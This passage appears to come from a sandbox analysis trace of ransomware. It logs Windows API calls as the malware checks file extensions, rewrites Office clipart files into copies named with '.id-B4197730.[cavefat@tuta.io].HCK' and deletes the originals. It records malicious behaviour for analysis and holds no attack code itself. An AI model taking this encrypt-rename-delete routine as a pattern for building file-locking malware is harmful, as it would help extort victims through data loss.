lpString2=".WMF") returned -1 [0171.728] lstrlenW (lpString=".xls") returned 4 [0171.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.728] lstrlenW (lpString=".xlsx") returned 5 [0171.728] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.728] lstrlenW (lpString=".ppt") returned 4 [0171.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.728] lstrlenW (lpString=".zip") returned 4 [0171.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.728] lstrlenW (lpString=".rar") returned 4 [0171.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.728] lstrlenW (lpString=".bz2") returned 4 [0171.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.728] lstrlenW (lpString=".7z") returned 3 [0171.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.728] lstrlenW (lpString=".dbf") returned 4 [0171.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.728] lstrlenW (lpString=".1cd") returned 4 [0171.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF") returned 68 [0171.728] lstrlenW (lpString=".jpg") returned 4 [0171.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.728] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.728] lstrlenW (lpString="J0281640.WMF") returned 12 [0171.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0171.730] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=12530) returned 1 [0171.730] CloseHandle (hObject=0x330) returned 1 [0171.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf")) returned 0x220 [0171.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0171.740] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.740] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.742] GetLastError () returned 0x0 [0171.742] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x30f2, lpOverlapped=0x0) returned 1 [0171.744] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3100, lpOverlapped=0x0) returned 1 [0171.744] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.745] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.745] SetEndOfFile (hFile=0x380) returned 1 [0171.747] CloseHandle (hObject=0x380) returned 1 [0171.750] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.750] SetEndOfFile (hFile=0x330) returned 1 [0171.754] CloseHandle (hObject=0x330) returned 1 [0171.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf")) returned 1 [0171.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.757] lstrlenW (lpString=".doc") returned 4 [0171.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.757] lstrlenW (lpString=".docx") returned 5 [0171.757] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.757] lstrlenW (lpString=".pdf") returned 4 [0171.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.757] lstrlenW (lpString=".xls") returned 4 [0171.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.757] lstrlenW (lpString=".xlsx") returned 5 [0171.757] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.757] lstrlenW (lpString=".ppt") returned 4 [0171.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.757] lstrlenW (lpString=".zip") returned 4 [0171.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.757] lstrlenW (lpString=".rar") returned 4 [0171.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.757] lstrlenW (lpString=".bz2") returned 4 [0171.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString=".7z") returned 3 [0171.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString=".dbf") returned 4 [0171.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString=".1cd") returned 4 [0171.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString=".jpg") returned 4 [0171.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString=".doc") returned 4 [0171.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString=".docx") returned 5 [0171.758] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.758] lstrlenW (lpString=".pdf") returned 4 [0171.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString=".xls") returned 4 [0171.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.758] lstrlenW (lpString=".xlsx") returned 5 [0171.758] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.758] lstrlenW (lpString=".ppt") returned 4 [0171.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString=".zip") returned 4 [0171.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.758] lstrlenW (lpString=".rar") returned 4 [0171.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString=".bz2") returned 4 [0171.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString=".7z") returned 3 [0171.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString=".dbf") returned 4 [0171.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString=".1cd") returned 4 [0171.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF") returned 68 [0171.758] lstrlenW (lpString=".jpg") returned 4 [0171.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.758] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.758] lstrlenW (lpString="J0285462.WMF") returned 12 [0171.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0171.761] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14474) returned 1 [0171.761] CloseHandle (hObject=0x330) returned 1 [0171.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf")) returned 0x220 [0171.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0171.778] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.778] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.782] GetLastError () returned 0x0 [0171.782] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x388a, lpOverlapped=0x0) returned 1 [0171.784] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3890, lpOverlapped=0x0) returned 1 [0171.785] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.785] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.785] SetEndOfFile (hFile=0x388) returned 1 [0171.789] CloseHandle (hObject=0x388) returned 1 [0171.790] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.791] SetEndOfFile (hFile=0x330) returned 1 [0171.794] CloseHandle (hObject=0x330) returned 1 [0171.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf")) returned 1 [0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.801] lstrlenW (lpString=".doc") returned 4 [0171.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString=".docx") returned 5 [0171.801] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.801] lstrlenW (lpString=".pdf") returned 4 [0171.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString=".xls") returned 4 [0171.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.801] lstrlenW (lpString=".xlsx") returned 5 [0171.801] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.801] lstrlenW (lpString=".ppt") returned 4 [0171.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.801] lstrlenW (lpString=".zip") returned 4 [0171.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.801] lstrlenW (lpString=".rar") returned 4 [0171.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString=".bz2") returned 4 [0171.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString=".7z") returned 3 [0171.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.801] lstrlenW (lpString=".dbf") returned 4 [0171.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.801] lstrlenW (lpString=".1cd") returned 4 [0171.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.801] lstrlenW (lpString=".jpg") returned 4 [0171.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.801] lstrlenW (lpString=".doc") returned 4 [0171.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.801] lstrlenW (lpString=".docx") returned 5 [0171.801] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.801] lstrlenW (lpString=".pdf") returned 4 [0171.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.802] lstrlenW (lpString=".xls") returned 4 [0171.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.802] lstrlenW (lpString=".xlsx") returned 5 [0171.802] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.802] lstrlenW (lpString=".ppt") returned 4 [0171.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.802] lstrlenW (lpString=".zip") returned 4 [0171.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.802] lstrlenW (lpString=".rar") returned 4 [0171.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.802] lstrlenW (lpString=".bz2") returned 4 [0171.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.802] lstrlenW (lpString=".7z") returned 3 [0171.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.802] lstrlenW (lpString=".dbf") returned 4 [0171.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.802] lstrlenW (lpString=".1cd") returned 4 [0171.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF") returned 68 [0171.802] lstrlenW (lpString=".jpg") returned 4 [0171.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.802] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.802] lstrlenW (lpString="J0285792.WMF") returned 12 [0171.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.807] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=11956) returned 1 [0171.807] CloseHandle (hObject=0x378) returned 1 [0171.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf")) returned 0x220 [0171.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.813] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.814] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.822] GetLastError () returned 0x0 [0171.822] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2eb4, lpOverlapped=0x0) returned 1 [0171.824] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2ec0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2ec0, lpOverlapped=0x0) returned 1 [0171.825] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.825] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.825] SetEndOfFile (hFile=0x360) returned 1 [0171.828] CloseHandle (hObject=0x360) returned 1 [0171.830] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.830] SetEndOfFile (hFile=0x380) returned 1 [0171.838] CloseHandle (hObject=0x380) returned 1 [0171.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf")) returned 1 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.841] lstrlenW (lpString=".doc") returned 4 [0171.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.841] lstrlenW (lpString=".docx") returned 5 [0171.841] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.841] lstrlenW (lpString=".pdf") returned 4 [0171.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.841] lstrlenW (lpString=".xls") returned 4 [0171.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.841] lstrlenW (lpString=".xlsx") returned 5 [0171.841] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.841] lstrlenW (lpString=".ppt") returned 4 [0171.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.841] lstrlenW (lpString=".zip") returned 4 [0171.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.841] lstrlenW (lpString=".rar") returned 4 [0171.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.841] lstrlenW (lpString=".bz2") returned 4 [0171.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString=".7z") returned 3 [0171.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString=".dbf") returned 4 [0171.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString=".1cd") returned 4 [0171.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString=".jpg") returned 4 [0171.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString=".doc") returned 4 [0171.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString=".docx") returned 5 [0171.842] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.842] lstrlenW (lpString=".pdf") returned 4 [0171.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString=".xls") returned 4 [0171.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.842] lstrlenW (lpString=".xlsx") returned 5 [0171.842] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.842] lstrlenW (lpString=".ppt") returned 4 [0171.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF") returned 68 [0171.842] lstrlenW (lpString=".zip") returned 4 [0171.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.842] lstrlenW (lpString=".rar") returned 4 [0171.842] 